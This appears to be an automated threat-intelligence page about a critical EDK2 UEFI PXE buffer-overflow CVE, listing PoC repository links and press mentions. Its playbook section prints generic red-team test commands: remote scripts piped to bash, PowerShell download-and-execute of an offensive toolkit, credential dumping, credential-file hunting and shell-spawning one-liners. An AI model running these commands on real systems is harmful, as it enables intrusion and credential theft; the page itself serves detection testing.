CVE-2026-97631
Vulnerability Description
EDK2 contains a vulnerability in BIOS where a user may cause “Out-of-bounds Write”, Classic Buffer Overflow, and “Incorrect Calculation of Buffer Size” by remote access. Successful exploitation of this vulnerability can lead to arbitrary code execution. It could also impact Confidentiality, Integrity, and Availability.
EPSS vs KEV Prediction — Evolution (30 days)
Affected Products
No CPE information available.
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (2)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
slabbdev/uefi-pxe-cve-2026-97631
|
slabbdev | 1 | 1 | 2026-10-28 | View |
|
Try2Take/CVE-2026-97631-PoC
|
Try2Take | 0 | 0 | 2026-10-29 | View |
Threat Feed
5 eventsSighting activity recorded
Sighting activity recorded
Proof-of-concept code is publicly available for this vulnerability
Sighting activity recorded
Sighting activity recorded
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns
No CAPEC pattern mapped to this CVE.
Red Team Playbook
59 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
for pid in $(pgrep -f 'Runner.Worker|Runner.Listener|runsvc|run.sh' 2>/dev/null); do tr '\0' '\n' < /proc/$pid/environ 2>/dev/null | grep -iE 'env|ssh'; done
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path} -maxdepth 6 -name "#{filename}" -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.aws/#{filename}' -type f 2>/dev/null
find #{file_path} -path '*/.azure/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.docker/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.config/gcloud/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /root -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find /etc/kubernetes -name '*.conf' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for filename in #{filenames}; do find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null; done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
for filename in #{filenames}; do
find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null
done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /etc/mysql -name 'my.cnf' -type f #{optional_flags} 2>/dev/null
find /etc/redis -name 'redis.conf' -type f #{optional_flags} 2>/dev/null
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
Mentions (50)
120 mentions from 89 sources in the last 7 days BuzzFactor 100 / 100
-
social bsky.app @bugstoday.bsky.social 2026-10-29 10:15 UTCnetbe.pl/krytyczna-lu...Open source
-
social bsky.app @netbe.bsky.social 2026-10-29 10:14 UTCnetbe.pl/krytyczna-lu...Open source
-
social bsky.app @hacker.at.thenote.app 2026-10-29 09:37 UTCCVE-2026-97631: 16-Year-Old UEFI Flaw Threatens Servers CVE-2026-97631: A 16-year-old UEFI flaw (CVSS score of 9.5/10) enables pre-OS code execution. Exposed servers need firmware patches and checks. A critical flaw, tracked as CVE-2026-97…Open source
-
social bsky.app @rootcz.bsky.social 2026-10-29 08:55 UTCŠestnáct let stará chyba v UEFI umožňuje spuštění kódu ještě před startem systémuOpen source
-
news businessupturn.com 2026-10-29 08:39 UTCCritical EDK II PXE flaw: CVE-2026-97631 explained - Business UpturnOpen source
-
social bsky.app @cybowl.bsky.social 2026-10-29 08:11 UTCVulnérabilités critiques (CVSS ≥ 9) · 4 • Oracle E-Business Suite (CVE-2026-101767), CVSS 9.8 (Hacktualités) • Firmware UEFI (EDK II) (CVE-2026-97631), CVSS 9.5 (IT-Connect) • Veeam Backup & Replication 13 (CVE-2026-108142), CVSS 9.1 (Cybe…Open source
-
social bsky.app @shellsecrets.bsky.social 2026-10-29 07:02 UTC🚨 𝗖𝗩𝗘-𝟮𝟬𝟮𝟲-𝟵𝟳𝟲𝟯𝟭: A critical 𝟵.𝟱/𝟭𝟬 𝗨𝗘𝗙𝗜 𝗳𝗶𝗿𝗺𝘄𝗮𝗿𝗲 𝘃𝘂𝗹𝗻𝗲𝗿𝗮𝗯𝗶𝗹𝗶𝘁𝘆 could enable remote code execution during PXE network boot. 🔗 Details in the comments. #UEFI #CVE202697631 #RCE #CyberSecurity #ServerSecurity #ShellSecretsOpen source
-
social bsky.app @sansisc.bsky.social 2026-10-29 03:12 UTCSANS Stormcast Thursday, October 29th, 2026: ClickFix Campaign Targets macOS and Windows; EDK II UEFI PXE Pre-Boot RCE (CVE-2026-97631); Qwen AI Model Data Exfiltration; LiteLLM Master Key Leak https://isc.sans.edu/podcastdetail/10156Open source
-
social bsky.app @cdn0x12.scg.owu.one 2026-10-29 02:41 UTCTianoCore EDK II 高危漏洞,可在 Pre-OS阶段被通过发送恶意icmp包的方式劫持和RCE https://nvd.nist.gov/vuln/detail/cve-2026-97631Open source
-
social bsky.app @undercodenews.bsky.social 2026-10-29 01:41 UTCCVE-2026-97631: EDK II PXE Buffer Overflow Raises Concerns About Pre–Secure Boot Code Execution + Video A Firmware-Level Vulnerability Could Threaten Systems Before the Operating System Starts A newly reported vulnerability in EDK II, the…Open source
-
social bsky.app @trustlist.bsky.social 2026-10-29 01:28 UTCSecurity advisories 28/29 EDK II flaw lets a network attacker run code while a server PXE-boots CVE-2026-97631, rated CVSS 9.5, sits in the open-source UEFI network stack that most PC and server firmware builds on. #infosec #cybersecurity…Open source
-
social bsky.app @gary.oberbrunner.com 2026-10-29 01:23 UTCThis is definitely not good; a critical bug in the most popular pre-boot firmware used worldwide. cybersecuritynews.com/uefi-firmwar... could allow an attacker to execute malicious code before the OS even boots (it's network-boot only, so…Open source
-
code github.com Try2Take 2026-10-29 00:49 UTCTry2Take/CVE-2026-97631-PoCOpen source
-
social infosec.exchange @116797276219291526 2026-10-29 00:41 UTCPatch CVE-2026-97631 now. This critical 9.5 CVSS EDK II PXE vulnerability allows unauthenticated pre-boot RCE via crafted ICMP error packets. # EDKII # TianoCore # UEFI # PXEBoot # CVE202697631 # Cybersecurity # Vulnerability # InfoSec #13…Open source
-
social bsky.app 2026-10-29 00:41 UTCPatch CVE-2026-97631 now. This critical 9.5 CVSS EDK II PXE vulnerability allows unauthenticated pre-boot RCE via crafted ICMP error packets. #EDKII #TianoCore #UEFI #PXEBoot #CVE202697631 #Cybersecurity #Vulnerability #InfoSec #13302Open source
-
social bsky.app @aitechmatome-eng.bsky.social 2026-10-28 23:57 UTCA critical code execution vulnerability has been discovered in open-source UEFI firmware code used by server vendors and data centers worldwide. Tracked as CVE-2026-97631, this memory corruption flaw originates from a 16-year-old buffer ov…Open source
-
social bsky.app @aitechmatome-eng.bsky.social 2026-10-28 23:57 UTC16-Year-Old UEFI Firmware Vulnerability Poses Secure Boot Bypass Risks ▼Read More https://tech-matome.com/archives/53365Open source
-
social bsky.app @xenospectrum.com 2026-10-28 22:58 UTCOS起動前に乗っ取られる恐れ、UEFIに深刻な脆弱性が発覚:修正コードは公表24日前から公開されていた https://xenospectrum.com/edk2-pxe-icmp-cve-2026-97631/Open source
-
social bsky.app @devopsbriefly.bsky.social 2026-10-28 20:43 UTCCVE-2026-97631 in TianoCore EDK II enables pre-OS malicious code execution via an ICMP memory-corruption flaw with severity 9.5/10.Open source
-
social bsky.app @infosecbriefly.bsky.social 2026-10-28 20:42 UTCCVE-2026-97631 in TianoCore EDK II enables pre-OS malicious code execution via an ICMP memory-corruption flaw with severity 9.5/10.Open source
-
social bsky.app @internoticies.pongo.cat 2026-10-28 20:38 UTCUna vulnerabilitat crítica (CVE-2026-97631) amb una puntuació de 9,5 sobre 10 afecta el firmware UEFI basat en TianoCore EDK II, utilitzat per la gran majoria de servidors i centres de dades del món.Open source
-
social bsky.app @deafnews-auto.bsky.social 2026-10-28 20:15 UTCGitHub Mistake Publishes Patch for 9.5/10 UEFI Flaw EarlyOpen source
-
social bsky.app @timack.bsky.social 2026-10-28 20:02 UTCYes, but...Open source
-
social bsky.app @hendryadrian.bsky.social 2026-10-28 19:12 UTCCVE-2026-97631 is a buffer overflow in EDK II PXE network-boot code that can crash or, with build-specific exploitation, run code before Secure Boot. A fix is merged but not yet in a stable release; no exploitation is known.Open source
-
social bsky.app @technotenshi.bsky.social 2026-10-28 19:02 UTCAMI published a fix before planned disclosure, Ars reports. CVE-2026-97631 allows code execution during EDK II PXE boot. Check vendor guidance. arstechnica.com/security/202... #UEFI #Firmware #CybersecurityOpen source
-
social infosec.exchange @technotenshi 2026-10-28 19:02 UTCAMI publicly proposed a fix for CVE-2026-97631 before the planned coordinated disclosure, Ars reports. TianoCore says an attacker able to reach a vulnerable EDK II device during PXE boot can execute code before the OS loads; its advisory l…Open source
-
news hothardware.com 2026-10-28 18:37 UTCCritical UEFI Flaw Exposes Millions Of Servers To Hijacking Threat - HotHardwareOpen source
-
news finance.biggo.com 2026-10-28 18:36 UTC16-Year-Old UEFI Bug Rated 9.5 Lets Attackers Run Code Before Secure Boot, and No Stable Release Fixes It - BigGo FinanceOpen source
-
social bsky.app @alt.pds.lefht.cc 2026-10-28 18:15 UTC3. CVE-2026-97631 · 32 people 🟥 Critical 9.5 · TianoCore EDK2 Pre-boot RCE in EDK II PXE driverOpen source
-
social bsky.app @alt.pds.lefht.cc 2026-10-28 18:15 UTC🛡️ Most-discussed CVEs on Bluesky, last 24h 1. CVE-2026-111497 · 46 people 🔥 2. CVE-2026-109618 · 33 people 🔥 3. CVE-2026-97631 · 32 people 4. CVE-2026-109619 · 26 people 🔥 5. CVE-2026-48356 · 15 people 🔥 🔥 = on CISA's Known Exploited list…Open source
-
news tokenpost.com 2026-10-28 18:13 UTCEDK II Flaw Rated 9.5 Can Expose PXE-Booting Systems to Code Execution - TOKENPOSTOpen source
-
social bsky.app @it-connect.bsky.social 2026-10-28 18:00 UTC👻👀 Un paquet #ICMP… et le code s’exécute avant même le Secure Boot C'est le scénario d'attaque associé à la faille CVE-2026-97631, découverte dans un code #UEFI par deux chercheurs d' #Anthropic et de #Google 🔍 www.it-connect.fr/faille-uef…Open source
-
news pcper.com 2026-10-28 17:22 UTCYay! The Vast Majority Of Modern Servers Have A Serious UEFI Vulnerability - PC PerspectiveOpen source
-
social bsky.app @racc.at 2026-10-28 17:14 UTCCVE-2026-97631Open source
-
news techbusinessnews.com.au 2026-10-28 17:06 UTCCritical UEFI Firmware Flaw Allows Attacks Before Operating Systems Load - www.techbusinessnews.com.auOpen source
-
social bsky.app @r-netsec-bot.bsky.social 2026-10-28 16:03 UTCEDK2 PXE Flaw (CVE-2026-97631): Find What You RunOpen source
-
social bsky.app @nullrend.com 2026-10-28 16:01 UTCCVE-2026-97631 well, shitOpen source
-
social bsky.app @geeknewsbot.bsky.social 2026-10-28 16:00 UTCUEFI 펌웨어의 코드 실행 취약점, 전 세계 서버 대부분을 위협 주요 UEFI 공급업체가 사용하는 TianoCore EDK II 에서 심각도 9.5/10 의 코드 실행 취약점 CVE-2026-97631이 발견됨 PXE 네트워크 부팅 중 ICMP 오류 메시지를 처리하는 버퍼 오버플로로, 공격자는 운영체제와 Secure Boot 등의 방어 기능이 작동하...Open source
-
news gadgetreview.com 2026-10-28 15:55 UTCCode-Execution Flaw in UEFI Firmware Affects Most of The Servers on Earth - Gadget ReviewOpen source
-
news scworld.com 2026-10-28 15:53 UTCCritical firmware vulnerability discovered in TianoCore EDK II - SC MediaOpen source
-
social news.ycombinator.com bigfish2026 2026-10-28 15:31 UTCEDM2 PXE Flaw allows hijacking machines during network bootOpen source
-
social bsky.app @hn-frontpage-bot.bsky.social 2026-10-28 15:26 UTCA critical buffer overflow vulnerability, CVE-2026-97631, has been discovered in the TianoCore EDK2 firmware's PXE boot component. It allows attackers to execute code during the boot process, bypassing security measures on network-booting…Open source
-
social bsky.app @newssecia.bsky.social 2026-10-28 15:01 UTC🤖 CVE-2026-97631 (9.5): EDK II PXE boot buffer overflow. One ICMP error msg >504 bytes, no auth needed, lands code before Secure Boot. Fix merged, no stable release yet. https://thehackernews.com/2026/10/critical-16-year-old-uefi-flaw-can-…Open source
-
social infosec.exchange @cloud 2026-10-28 15:01 UTC🤖 CVE-2026-97631 (CVSS 9.5): buffer overflow in EDK II's PXE network-boot driver. ICMP error messages longer than 504 bytes overflow a fixed buffer in both the IPv4 and IPv6 paths — no auth or prior access needed, one packet during PXE boo…Open source
-
social bsky.app @dacbarbos.eurosky.social 2026-10-28 15:01 UTCMT @thehackernews.bsky.social Critical 16-year-old flaw in EDK II UEFI firmware could let attackers execute code before Secure Boot checks. CVE-2026-97631 No patched stable EDK II release yet. Full details → thehackernews.com/2026/10/crit.…Open source
-
social bsky.app @undercodenews.bsky.social 2026-10-28 14:54 UTCA 16-Year-Old UEFI Firmware Flaw Exposes Servers to Pre-Boot Code Execution — CVE-2026-97631 Scores 95 + Video A Critical Vulnerability Threatens the Foundation of Server Security A critical vulnerability in TianoCore EDK II, a widely used…Open source
-
news rescana.com 2026-10-28 14:50 UTCEDK II UEFI PXE Flaw CVE-2026-97631: Critical Pre-Boot Code Execution Risk, Patch Not Yet Released - RescanaOpen source
-
social bsky.app @cybernewsph.com 2026-10-28 14:42 UTC“This vulnerability, tracked as CVE-2026-97631, affects ICMP error processing during both IPv4 and IPv6 network boot, which exposes the firmware memory to potential writes by attackers”, GBHackers reports. #cybersecurityOpen source
-
social bsky.app @infosec.skyfleet.blue 2026-10-28 14:33 UTCCVE-2026-97631: Pre-boot RCE in EDK II PXE driverOpen source
-
social bsky.app @yasna.io 2026-10-28 14:30 UTCA critical 16-year-old UEFI firmware flaw (CVE-2026-97631) allows code execution before OS load on many servers, raising urgent patching needs. #Flaw #Firmware #infosec Full synthesis & sources: yasna.ioOpen source
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2026-97631 |
| github.com |
GitHub CVE
|
https://github.com/tianocore/edk2/security/advisories/GHSA-99cj-7hg9-mp4m |